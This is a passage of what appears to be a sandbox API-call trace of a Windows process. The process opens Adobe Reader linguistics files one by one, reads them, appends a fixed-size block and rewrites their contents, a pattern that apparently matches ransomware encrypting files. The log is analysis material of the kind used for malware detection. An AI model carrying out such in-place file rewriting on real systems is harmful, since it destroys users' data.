"c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.454] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.455] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x20f800 [0043.455] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.455] ReleaseMutex (hMutex=0x128) returned 1 [0043.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est133.lex", lpUsedDefaultChar=0x0) returned 10 [0043.455] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.104] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.107] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0044.111] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x20d800 [0044.111] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a4c6c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4c6c8*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0044.117] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x20d800 [0044.118] WriteFile (in: hFile=0x1c4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x318f28c*=0x2588, lpOverlapped=0x0) returned 1 [0044.118] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.118] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.119] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.119] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x2000, lpOverlapped=0x0) returned 1 [0044.119] CloseHandle (hObject=0x1c4) returned 1 [0044.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.120] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.120] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7ff6 [0044.120] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.120] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.120] ReleaseMutex (hMutex=0x128) returned 1 [0044.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn32.clx", lpUsedDefaultChar=0x0) returned 9 [0044.120] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.122] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6ff6 [0044.123] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.126] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6ff6 [0044.126] WriteFile (in: hFile=0x1c4, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.127] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.127] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.127] CloseHandle (hObject=0x1c4) returned 1 [0044.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm92.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.128] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.128] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xc0c00 [0044.128] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.128] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.128] ReleaseMutex (hMutex=0x128) returned 1 [0044.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm92.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm92.ths", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm92.ths", lpUsedDefaultChar=0x0) returned 9 [0044.128] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.131] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.132] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbfc00 [0044.132] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.137] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbfc00 [0044.137] WriteFile (in: hFile=0x1c4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.137] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.137] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.138] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.138] CloseHandle (hObject=0x1c4) returned 1 [0044.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.138] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.138] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1c000 [0044.138] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.138] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.139] ReleaseMutex (hMutex=0x128) returned 1 [0044.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hun.hyp", lpUsedDefaultChar=0x0) returned 7 [0044.139] ReadFile (in: hFile=0x1c4, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.143] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1b000 [0044.143] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.144] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1b000 [0044.144] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.145] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.145] WriteFile (in: hFile=0x1c4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.145] CloseHandle (hObject=0x1c4) returned 1 [0044.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.145] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.145] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7ff2 [0044.145] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.145] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.145] ReleaseMutex (hMutex=0x128) returned 1 [0044.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lav32.clx", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lav32.clx", lpUsedDefaultChar=0x0) returned 9 [0044.146] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.147] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6ff2 [0044.147] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.148] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6ff2 [0044.148] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.148] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.148] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.148] CloseHandle (hObject=0x1c4) returned 1 [0044.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw56.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw56.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.149] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.149] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x57400 [0044.149] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.149] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.149] ReleaseMutex (hMutex=0x128) returned 1 [0044.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw56.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw56.ths", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nrw56.ths", lpUsedDefaultChar=0x0) returned 9 [0044.149] ReadFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.151] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x56400 [0044.151] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.152] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x56400 [0044.153] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.153] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.153] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.153] CloseHandle (hObject=0x1c4) returned 1 [0044.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.154] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.154] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x800 [0044.154] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.154] ReleaseMutex (hMutex=0x128) returned 1 [0044.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prt.hyp", lpUsedDefaultChar=0x0) returned 7 [0044.154] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x318f2bc*=0x800, lpOverlapped=0x0) returned 1 [0044.156] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0044.156] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f2d0*=0xd88, lpOverlapped=0x0) returned 1 [0044.156] CloseHandle (hObject=0x1c4) returned 1 [0044.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0044.156] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.156] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x8025 [0044.157] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.157] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.157] ReleaseMutex (hMutex=0x128) returned 1 [0044.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rus32.clx", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rus32.clx", lpUsedDefaultChar=0x0) returned 9 [0044.157] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x4000, 